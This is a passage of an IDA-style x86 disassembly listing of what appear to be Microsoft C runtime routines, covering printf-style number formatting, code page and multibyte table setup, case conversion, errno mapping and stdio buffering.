loc_41C7F0:				; CODE XREF: sub_41C27F+56Cj
		cmp	[ebp+var_10], 0
		jge	short loc_41C7FF
		mov	[ebp+var_10], 1
		jmp	short loc_41C803
; ---------------------------------------------------------------------------


loc_41C7FF:				; CODE XREF: sub_41C27F+575j
		and	[ebp+var_4], 0FFFFFFF7h


loc_41C803:				; CODE XREF: sub_41C27F+57Ej
		mov	eax, esi
		or	eax, edi
		jnz	short loc_41C80D
		and	[ebp+var_1C], 0


loc_41C80D:				; CODE XREF: sub_41C27F+588j
		lea	eax, [ebp+var_49]
		mov	[ebp+var_8], eax


loc_41C813:				; CODE XREF: sub_41C27F+5DDj
		mov	eax, [ebp+var_10]
		dec	[ebp+var_10]
		test	eax, eax
		jg	short loc_41C823
		mov	eax, esi
		or	eax, edi
		jz	short loc_41C85E


loc_41C823:				; CODE XREF: sub_41C27F+59Cj
		mov	eax, [ebp+var_C]
		cdq
		push	edx
		push	eax
		push	edi
		push	esi
		mov	[ebp+var_40], eax
		mov	[ebp+var_3C], edx
		call	sub_41A100
		push	[ebp+var_3C]
		mov	ebx, eax
		add	ebx, 30h
		push	[ebp+var_40]
		push	edi
		push	esi
		call	sub_41A090
		cmp	ebx, 39h
		mov	esi, eax
		mov	edi, edx
		jle	short loc_41C854
		add	ebx, [ebp+var_2C]


loc_41C854:				; CODE XREF: sub_41C27F+5D0j
		mov	eax, [ebp+var_8]
		dec	[ebp+var_8]
		mov	[eax], bl
		jmp	short loc_41C813
; ---------------------------------------------------------------------------


loc_41C85E:				; CODE XREF: sub_41C27F+5A2j
		lea	eax, [ebp+var_49]
		sub	eax, [ebp+var_8]
		inc	[ebp+var_8]
		test	byte ptr [ebp+var_4+1],	2
		mov	[ebp+var_C], eax
		jz	short loc_41C889
		mov	ecx, [ebp+var_8]
		cmp	byte ptr [ecx],	30h
		jnz	short loc_41C87C
		test	eax, eax
		jnz	short loc_41C889


loc_41C87C:				; CODE XREF: sub_41C27F+5F7j
		dec	[ebp+var_8]
		inc	eax
		mov	ecx, [ebp+var_8]
		mov	byte ptr [ecx],	30h


loc_41C886:				; CODE XREF: sub_41C27F+35Fj
					; sub_41C27F+406j ...
		mov	[ebp+var_C], eax


loc_41C889:				; CODE XREF: sub_41C27F+21Bj
					; sub_41C27F+2FDj ...
		cmp	[ebp+var_28], 0
		jnz	loc_41C987	; default
		mov	ebx, [ebp+var_4]
		test	bl, 40h
		jz	short loc_41C8C1
		test	bh, 1
		jz	short loc_41C8A6
		mov	[ebp+var_16], 2Dh
		jmp	short loc_41C8BA
; ---------------------------------------------------------------------------


loc_41C8A6:				; CODE XREF: sub_41C27F+61Fj
		test	bl, 1
		jz	short loc_41C8B1
		mov	[ebp+var_16], 2Bh
		jmp	short loc_41C8BA
; ---------------------------------------------------------------------------


loc_41C8B1:				; CODE XREF: sub_41C27F+62Aj
		test	bl, 2
		jz	short loc_41C8C1
		mov	[ebp+var_16], 20h


loc_41C8BA:				; CODE XREF: sub_41C27F+625j
					; sub_41C27F+630j
		mov	[ebp+var_1C], 1


loc_41C8C1:				; CODE XREF: sub_41C27F+61Aj
					; sub_41C27F+635j
		mov	esi, [ebp+var_20]
		sub	esi, [ebp+var_1C]
		sub	esi, [ebp+var_C]
		test	bl, 0Ch
		jnz	short loc_41C8E1
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41C9F5
		add	esp, 10h


loc_41C8E1:				; CODE XREF: sub_41C27F+64Ej
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_16]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		push	eax
		call	sub_41CA26
		add	esp, 10h
		test	bl, 8
		jz	short loc_41C913
		test	bl, 4
		jnz	short loc_41C913
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	30h
		call	sub_41C9F5
		add	esp, 10h


loc_41C913:				; CODE XREF: sub_41C27F+67Bj
					; sub_41C27F+680j
		cmp	[ebp+var_24], 0
		jz	short loc_41C95A
		cmp	[ebp+var_C], 0
		jle	short loc_41C95A
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_8]
		lea	edi, [eax-1]


loc_41C928:				; CODE XREF: sub_41C27F+6D7j
		mov	ax, [ebx]
		inc	ebx
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		inc	ebx
		call	sub_420A63
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41C96F
		lea	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_41CA26
		add	esp, 10h
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_41C928
		jmp	short loc_41C96F
; ---------------------------------------------------------------------------


loc_41C95A:				; CODE XREF: sub_41C27F+698j
					; sub_41C27F+69Ej
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	sub_41CA26
		add	esp, 10h


loc_41C96F:				; CODE XREF: sub_41C27F+6BCj
					; sub_41C27F+6D9j
		test	byte ptr [ebp+var_4], 4
		jz	short loc_41C987 ; default
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41C9F5
		add	esp, 10h


loc_41C987:				; CODE XREF: sub_41C27F+68j
					; sub_41C27F+8Bj ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+arg_4], edi
		jnz	loc_41C2AB


loc_41C998:				; CODE XREF: sub_41C27F+1Fj
					; sub_41C27F+37j
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C27F	endp

; ---------------------------------------------------------------------------
off_41C9A0	dd offset loc_41C41E	; DATA XREF: sub_41C27F+6Er
		dd offset loc_41C2F4	; jump table for switch	statement
		dd offset loc_41C30F
		dd offset loc_41C35B
		dd offset loc_41C392
		dd offset loc_41C39A
		dd offset loc_41C3CF
		dd offset loc_41C462

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C9C0	proc near		; CODE XREF: sub_41C27F+1BDp
					; sub_41C27F+1D6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		dec	dword ptr [ecx+4]
		js	short loc_41C9D9
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_41C9E4
; ---------------------------------------------------------------------------


loc_41C9D9:				; CODE XREF: sub_41C9C0+9j
		push	ecx
		push	[ebp+arg_0]
		call	sub_41C16A
		pop	ecx
		pop	ecx


loc_41C9E4:				; CODE XREF: sub_41C9C0+17j
		cmp	eax, 0FFFFFFFFh
		mov	eax, [ebp+arg_8]
		jnz	short loc_41C9F1
		or	dword ptr [eax], 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41C9F1:				; CODE XREF: sub_41C9C0+2Aj
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_41C9C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C9F5	proc near		; CODE XREF: sub_41C27F+65Ap
					; sub_41C27F+68Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	short loc_41CA23
		mov	esi, [esp+8+arg_C]


loc_41CA06:				; CODE XREF: sub_41C9F5+2Cj
		push	esi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_0]
		call	sub_41C9C0
		add	esp, 0Ch
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_41CA23
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_41CA06


loc_41CA23:				; CODE XREF: sub_41C9F5+Bj
					; sub_41C9F5+25j
		pop	edi
		pop	esi
		retn
sub_41C9F5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CA26	proc near		; CODE XREF: sub_41C27F+670p
					; sub_41C27F+6CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_4]
		mov	eax, ebx
		dec	ebx
		push	esi
		push	edi
		test	eax, eax
		jle	short loc_41CA5A
		mov	edi, [esp+0Ch+arg_C]
		mov	esi, [esp+0Ch+arg_0]


loc_41CA3C:				; CODE XREF: sub_41CA26+32j
		movsx	eax, byte ptr [esi]
		push	edi
		inc	esi
		push	[esp+10h+arg_8]
		push	eax
		call	sub_41C9C0
		add	esp, 0Ch
		cmp	dword ptr [edi], 0FFFFFFFFh
		jz	short loc_41CA5A
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	short loc_41CA3C


loc_41CA5A:				; CODE XREF: sub_41CA26+Cj
					; sub_41CA26+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41CA26	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CA5E	proc near		; CODE XREF: sub_41C27F+E5p
					; sub_41C27F+124p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	eax, [eax-4]
		retn
sub_41CA5E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CA6B	proc near		; CODE XREF: sub_41C27F+4FAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 8
		mov	ecx, [eax]
		mov	eax, [ecx-8]
		mov	edx, [ecx-4]
		retn
sub_41CA6B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CA7B	proc near		; CODE XREF: sub_41C27F+2C7p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	ax, [eax-4]
		retn
sub_41CA7B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CA89	proc near		; CODE XREF: sub_41CE4D+Bp

var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41CC22	; GetOEMCP
		mov	esi, eax
		pop	ecx
		cmp	esi, dword_4DE1C4
		mov	[ebp+arg_0], esi
		jz	loc_41CC16
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_41CC0C
		xor	edx, edx
		mov	eax, offset dword_43F4B0


loc_41CABD:				; CODE XREF: sub_41CA89+41j
		cmp	[eax], esi
		jz	short loc_41CB33
		add	eax, 30h
		inc	edx
		cmp	eax, offset dword_43F5A0
		jl	short loc_41CABD
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		call	dword_4241B8	; GetCPInfo
		cmp	eax, 1
		jnz	loc_41CC04
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4DE2E0
		cmp	[ebp+var_18], 1
		mov	dword_4DE1C4, esi
		rep stosd
		stosb
		mov	dword_4DE3E4, ebx
		jbe	loc_41CBF2
		cmp	[ebp+var_12], 0
		jz	loc_41CBC8
		lea	ecx, [ebp+var_11]


loc_41CB10:				; CODE XREF: sub_41CA89+139j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_41CBC8
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl


loc_41CB21:				; CODE XREF: sub_41CA89+A8j
		cmp	eax, edx
		ja	loc_41CBBC
		or	byte_4DE2E1[eax], 4
		inc	eax
		jmp	short loc_41CB21
; ---------------------------------------------------------------------------


loc_41CB33:				; CODE XREF: sub_41CA89+36j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4DE2E0
		rep stosd
		lea	esi, [edx+edx*2]
		mov	[ebp+var_4], ebx
		shl	esi, 4
		stosb
		lea	ebx, dword_43F4C0[esi]


loc_41CB4F:				; CODE XREF: sub_41CA89+103j
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_41CB82


loc_41CB56:				; CODE XREF: sub_41CA89+F7j
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_41CB82
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_41CB7B
		mov	edx, [ebp+var_4]
		mov	dl, byte_43F4A8[edx]


loc_41CB70:				; CODE XREF: sub_41CA89+F0j
		or	byte_4DE2E1[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_41CB70


loc_41CB7B:				; CODE XREF: sub_41CA89+DCj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_41CB56


loc_41CB82:				; CODE XREF: sub_41CA89+CBj
					; sub_41CA89+D2j
		inc	[ebp+var_4]
		add	ebx, 8
		cmp	[ebp+var_4], 4
		jb	short loc_41CB4F
		mov	eax, [ebp+arg_0]
		mov	dword_4DE1DC, 1
		push	eax
		mov	dword_4DE1C4, eax
		call	sub_41CC6C
		lea	esi, dword_43F4B4[esi]
		mov	edi, offset dword_4DE1D0
		movsd
		movsd
		pop	ecx
		mov	dword_4DE3E4, eax
		movsd
		jmp	short loc_41CC11
; ---------------------------------------------------------------------------


loc_41CBBC:				; CODE XREF: sub_41CA89+9Aj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_41CB10


loc_41CBC8:				; CODE XREF: sub_41CA89+7Ej
					; sub_41CA89+8Bj
		push	1
		pop	eax


loc_41CBCB:				; CODE XREF: sub_41CA89+14Fj
		or	byte_4DE2E1[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_41CBCB
		push	esi
		call	sub_41CC6C
		pop	ecx
		mov	dword_4DE3E4, eax
		mov	dword_4DE1DC, 1
		jmp	short loc_41CBF8
; ---------------------------------------------------------------------------


loc_41CBF2:				; CODE XREF: sub_41CA89+74j
		mov	dword_4DE1DC, ebx


loc_41CBF8:				; CODE XREF: sub_41CA89+167j
		xor	eax, eax
		mov	edi, offset dword_4DE1D0
		stosd
		stosd
		stosd
		jmp	short loc_41CC11
; ---------------------------------------------------------------------------


loc_41CC04:				; CODE XREF: sub_41CA89+51j
		cmp	dword_4DCE00, ebx
		jz	short loc_41CC1A


loc_41CC0C:				; CODE XREF: sub_41CA89+27j
		call	sub_41CC9F


loc_41CC11:				; CODE XREF: sub_41CA89+131j
					; sub_41CA89+179j
		call	sub_41CCC8


loc_41CC16:				; CODE XREF: sub_41CA89+1Dj
		xor	eax, eax
		jmp	short loc_41CC1D
; ---------------------------------------------------------------------------


loc_41CC1A:				; CODE XREF: sub_41CA89+181j
		or	eax, 0FFFFFFFFh


loc_41CC1D:				; CODE XREF: sub_41CA89+18Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41CA89	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC22	proc near		; CODE XREF: sub_41CA89+Cp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	dword_4DCE00, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_41CC42
		mov	dword_4DCE00, 1
		jmp	dword_424060
; ---------------------------------------------------------------------------


loc_41CC42:				; CODE XREF: sub_41CC22+Ej
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_41CC57
		mov	dword_4DCE00, 1
		jmp	dword_4241BC
; ---------------------------------------------------------------------------


loc_41CC57:				; CODE XREF: sub_41CC22+23j
		cmp	eax, 0FFFFFFFCh
		jnz	short locret_41CC6B
		mov	eax, dword_4DCE44
		mov	dword_4DCE00, 1

locret_41CC6B:				; CODE XREF: sub_41CC22+38j
		retn
sub_41CC22	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC6C	proc near		; CODE XREF: sub_41CA89+118p
					; sub_41CA89+152p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_41CC99
		sub	eax, 4
		jz	short loc_41CC93
		sub	eax, 0Dh
		jz	short loc_41CC8D
		dec	eax
		jz	short loc_41CC87
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41CC87:				; CODE XREF: sub_41CC6C+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------


loc_41CC8D:				; CODE XREF: sub_41CC6C+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------


loc_41CC93:				; CODE XREF: sub_41CC6C+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------


loc_41CC99:				; CODE XREF: sub_41CC6C+9j
		mov	eax, 411h
		retn
sub_41CC6C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC9F	proc near		; CODE XREF: sub_41CA89:loc_41CC0Cp
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_4DE2E0
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_4DE1D0
		mov	dword_4DE1C4, eax
		mov	dword_4DE1DC, eax
		mov	dword_4DE3E4, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_41CC9F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CCC8	proc near		; CODE XREF: sub_41CA89:loc_41CC11p

var_514		= byte ptr -514h
var_314		= byte ptr -314h
var_214		= byte ptr -214h
var_114		= byte ptr -114h
var_14		= byte ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh

		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	dword_4DE1C4
		call	dword_4241B8	; GetCPInfo
		cmp	eax, 1
		jnz	loc_41CE01
		xor	eax, eax
		mov	esi, 100h


loc_41CCF2:				; CODE XREF: sub_41CCC8+34j
		mov	[ebp+eax+var_114], al
		inc	eax
		cmp	eax, esi
		jb	short loc_41CCF2
		mov	al, [ebp+var_E]
		mov	[ebp+var_114], 20h
		test	al, al
		jz	short loc_41CD43
		push	ebx
		push	edi
		lea	edx, [ebp+var_D]


loc_41CD11:				; CODE XREF: sub_41CCC8+77j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_41CD38
		sub	ecx, eax
		lea	edi, [ebp+eax+var_114]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb


loc_41CD38:				; CODE XREF: sub_41CCC8+51j
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_41CD11
		pop	edi
		pop	ebx


loc_41CD43:				; CODE XREF: sub_41CCC8+42j
		push	0
		lea	eax, [ebp+var_514]
		push	dword_4DE3E4
		push	dword_4DE1C4
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	1
		call	sub_4208F4
		push	0
		lea	eax, [ebp+var_214]
		push	dword_4DE1C4
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	esi
		push	dword_4DE3E4
		call	sub_41F5B6
		push	0
		lea	eax, [ebp+var_314]
		push	dword_4DE1C4
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	200h
		push	dword_4DE3E4
		call	sub_41F5B6
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp+var_514]


loc_41CDBE:				; CODE XREF: sub_41CCC8+135j
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_41CDDC
		or	byte_4DE2E1[eax], 10h
		mov	dl, [ebp+eax+var_214]


loc_41CDD4:				; CODE XREF: sub_41CCC8+127j
		mov	byte_4DE1E0[eax], dl
		jmp	short loc_41CDF8
; ---------------------------------------------------------------------------


loc_41CDDC:				; CODE XREF: sub_41CCC8+FCj
		test	dl, 2
		jz	short loc_41CDF1
		or	byte_4DE2E1[eax], 20h
		mov	dl, [ebp+eax+var_314]
		jmp	short loc_41CDD4
; ---------------------------------------------------------------------------


loc_41CDF1:				; CODE XREF: sub_41CCC8+117j
		and	byte_4DE1E0[eax], 0


loc_41CDF8:				; CODE XREF: sub_41CCC8+112j
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_41CDBE
		jmp	short loc_41CE4A
; ---------------------------------------------------------------------------


loc_41CE01:				; CODE XREF: sub_41CCC8+1Dj
		xor	eax, eax
		mov	esi, 100h


loc_41CE08:				; CODE XREF: sub_41CCC8+180j
		cmp	eax, 41h
		jb	short loc_41CE26
		cmp	eax, 5Ah
		ja	short loc_41CE26
		or	byte_4DE2E1[eax], 10h
		mov	cl, al
		add	cl, 20h


loc_41CE1E:				; CODE XREF: sub_41CCC8+174j
		mov	byte_4DE1E0[eax], cl
		jmp	short loc_41CE45
; ---------------------------------------------------------------------------


loc_41CE26:				; CODE XREF: sub_41CCC8+143j
					; sub_41CCC8+148j
		cmp	eax, 61h
		jb	short loc_41CE3E
		cmp	eax, 7Ah
		ja	short loc_41CE3E
		or	byte_4DE2E1[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_41CE1E
; ---------------------------------------------------------------------------


loc_41CE3E:				; CODE XREF: sub_41CCC8+161j
					; sub_41CCC8+166j
		and	byte_4DE1E0[eax], 0


loc_41CE45:				; CODE XREF: sub_41CCC8+15Cj
		inc	eax
		cmp	eax, esi
		jb	short loc_41CE08


loc_41CE4A:				; CODE XREF: sub_41CCC8+137j
		pop	esi
		leave
		retn
sub_41CCC8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CE4D	proc near		; CODE XREF: sub_41F989+9p
					; sub_41F9E1+Dp ...
		cmp	dword_4DE414, 0
		jnz	short locret_41CE68
		push	0FFFFFFFDh
		call	sub_41CA89
		pop	ecx
		mov	dword_4DE414, 1

locret_41CE68:				; CODE XREF: sub_41CE4D+7j
		retn
sub_41CE4D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CE69	proc near		; CODE XREF: sub_418731+2Bp
					; sub_418731+A6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	dword_4DE1DC, 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		jnz	short loc_41CE8D
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_418350
		add	esp, 0Ch
		jmp	short loc_41CEF0
; ---------------------------------------------------------------------------


loc_41CE8D:				; CODE XREF: sub_41CE69+11j
		mov	edx, [ebp+arg_8]
		push	esi
		test	edx, edx
		jz	short loc_41CED2
		mov	ecx, [ebp+arg_4]


loc_41CE98:				; CODE XREF: sub_41CE69+5Bj
		mov	al, [ecx]
		dec	edx
		movzx	esi, al
		test	byte_4DE2E1[esi], 4
		mov	[edi], al
		jz	short loc_41CEBC
		inc	edi
		inc	ecx
		test	edx, edx
		jz	short loc_41CEC8
		mov	al, [ecx]
		dec	edx
		mov	[edi], al
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_41CECE
		jmp	short loc_41CEC2
; ---------------------------------------------------------------------------


loc_41CEBC:				; CODE XREF: sub_41CE69+3Ej
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_41CED2


loc_41CEC2:				; CODE XREF: sub_41CE69+51j
		test	edx, edx
		jnz	short loc_41CE98
		jmp	short loc_41CED2
; ---------------------------------------------------------------------------


loc_41CEC8:				; CODE XREF: sub_41CE69+44j
		and	byte ptr [edi-1], 0
		jmp	short loc_41CED2
; ---------------------------------------------------------------------------


loc_41CECE:				; CODE XREF: sub_41CE69+4Fj
		and	byte ptr [edi-2], 0


loc_41CED2:				; CODE XREF: sub_41CE69+2Aj
					; sub_41CE69+57j ...
		mov	eax, edx
		dec	edx
		test	eax, eax
		pop	esi
		jz	short loc_41CEED
		lea	ecx, [edx+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_41CEED:				; CODE XREF: sub_41CE69+6Fj
		mov	eax, [ebp+arg_0]


loc_41CEF0:				; CODE XREF: sub_41CE69+22j
		pop	edi
		pop	ebp
		retn
sub_41CE69	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CEF3	proc near		; CODE XREF: sub_41891D+12Bp

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DCE34, 0
		push	ebx
		jnz	short loc_41CF1E
		mov	eax, [ebp+arg_0]
		cmp	eax, 61h
		jl	loc_41CFBC
		cmp	eax, 7Ah
		jg	loc_41CFBC
		sub	eax, 20h
		jmp	loc_41CFBC
; ---------------------------------------------------------------------------


loc_41CF1E:				; CODE XREF: sub_41CEF3+Cj
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 100h
		jge	short loc_41CF51
		cmp	dword_43F494, 1
		jle	short loc_41CF3E
		push	2
		push	ebx
		call	sub_41C0F5
		pop	ecx
		pop	ecx
		jmp	short loc_41CF49
; ---------------------------------------------------------------------------


loc_41CF3E:				; CODE XREF: sub_41CEF3+3Dj
		mov	eax, off_43F288
		mov	al, [eax+ebx*2]
		and	eax, 2


loc_41CF49:				; CODE XREF: sub_41CEF3+49j
		test	eax, eax
		jnz	short loc_41CF51


loc_41CF4D:				; CODE XREF: sub_41CEF3+AFj
		mov	eax, ebx
		jmp	short loc_41CFBC
; ---------------------------------------------------------------------------


loc_41CF51:				; CODE XREF: sub_41CEF3+34j
					; sub_41CEF3+58j
		mov	edx, off_43F288
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41CF74
		and	byte ptr [ebp+arg_0+2],	0
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		push	2
		jmp	short loc_41CF7D
; ---------------------------------------------------------------------------


loc_41CF74:				; CODE XREF: sub_41CEF3+71j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		push	1


loc_41CF7D:				; CODE XREF: sub_41CEF3+7Fj
		pop	eax
		lea	ecx, [ebp+var_4]
		push	1
		push	0
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		push	dword_4DCE34
		call	sub_41F5B6
		add	esp, 20h
		test	eax, eax
		jz	short loc_41CF4D
		cmp	eax, 1
		jnz	short loc_41CFAF
		movzx	eax, [ebp+var_4]
		jmp	short loc_41CFBC
; ---------------------------------------------------------------------------


loc_41CFAF:				; CODE XREF: sub_41CEF3+B4j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_41CFBC:				; CODE XREF: sub_41CEF3+14j
					; sub_41CEF3+1Dj ...
		pop	ebx
		leave
		retn
sub_41CEF3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CFBF	proc near		; CODE XREF: sub_418B3C+1Dp
					; sub_41A044+16p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	edx, edx
		mov	dword_4DCD78, ecx
		mov	eax, offset dword_43F5A0


loc_41CFD0:				; CODE XREF: sub_41CFBF+1Ej
		cmp	ecx, [eax]
		jz	short loc_41CFF4
		add	eax, 8
		inc	edx
		cmp	eax, offset dword_43F708
		jl	short loc_41CFD0
		cmp	ecx, 13h
		jb	short loc_41D001
		cmp	ecx, 24h
		ja	short loc_41D001
		mov	dword_4DCD74, 0Dh
		retn
; ---------------------------------------------------------------------------


loc_41CFF4:				; CODE XREF: sub_41CFBF+13j
		mov	eax, dword_43F5A4[edx*8]
		mov	dword_4DCD74, eax
		retn
; ---------------------------------------------------------------------------


loc_41D001:				; CODE XREF: sub_41CFBF+23j
					; sub_41CFBF+28j
		cmp	ecx, 0BCh
		jb	short loc_41D01B
		cmp	ecx, 0CAh
		mov	dword_4DCD74, 8
		jbe	short locret_41D025


loc_41D01B:				; CODE XREF: sub_41CFBF+48j
		mov	dword_4DCD74, 16h

locret_41D025:				; CODE XREF: sub_41CFBF+5Aj
		retn
sub_41CFBF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D026	proc near		; CODE XREF: sub_418B66+8p
					; sub_419F4C+9p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_420A3D
		test	eax, eax
		pop	ecx
		jz	short loc_41D0AF
		cmp	esi, offset dword_43F878
		jnz	short loc_41D044
		xor	eax, eax
		jmp	short loc_41D04F
; ---------------------------------------------------------------------------


loc_41D044:				; CODE XREF: sub_41D026+18j
		cmp	esi, offset dword_43F898
		jnz	short loc_41D0AF
		push	1
		pop	eax


loc_41D04F:				; CODE XREF: sub_41D026+1Cj
		inc	dword_4DCE4C
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_41D0AF
		cmp	dword_4DCE04[eax*4], 0
		push	ebx
		push	edi
		lea	edi, ds:4DCE04h[eax*4]
		mov	ebx, 1000h
		jnz	short loc_41D095
		push	ebx
		call	sub_418235
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_41D095
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_41D0A2
